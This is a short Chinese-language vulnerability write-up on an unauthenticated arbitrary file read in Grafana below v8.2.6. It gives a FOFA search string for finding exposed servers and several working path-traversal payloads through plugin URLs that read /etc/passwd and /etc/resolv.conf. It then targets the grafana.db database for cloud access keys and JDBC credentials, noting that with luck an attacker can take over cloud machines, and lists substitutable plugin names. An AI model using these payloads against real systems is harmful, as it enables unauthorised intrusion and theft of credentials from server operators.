Grafana 未授权任意文件读取漏洞-tale

漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。
Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

影响范围

Grafana v8.2.6以下

FOFA查询

app=“Grafana”

漏洞复现

payload:

public/plugins/logs/../../../../../../../../etc/resolv.conf

public/plugins/icon/../../../../../../../../etc/resolv.conf

/public/plugins/prometheus/../../../../../../../../../../etc/passwd

/public/plugins/grafana-clock-panel/../../../../../../../../../../../../../etc/passwd

/var/lib/grafana/grafana.db

  可读取/var/lib/grafana/grafana.db数据库文件，里面可能存在阿里云ecs 腾讯云的ak或者jdbc信息。运气好直接控制几台云机器。
其他插件：
alertmanager
cloud-monitoring
cloudwatch
dashboard
elasticsearch
grafana
grafana-azure-monitor-datasource
graphite
influxdb
jaeger
loki
mixed
mssql
mysql
opentsdb
postgres
prometheus
tempo
testdata
zipkin

参考链接

https://nosec.org/home/detail/4914.html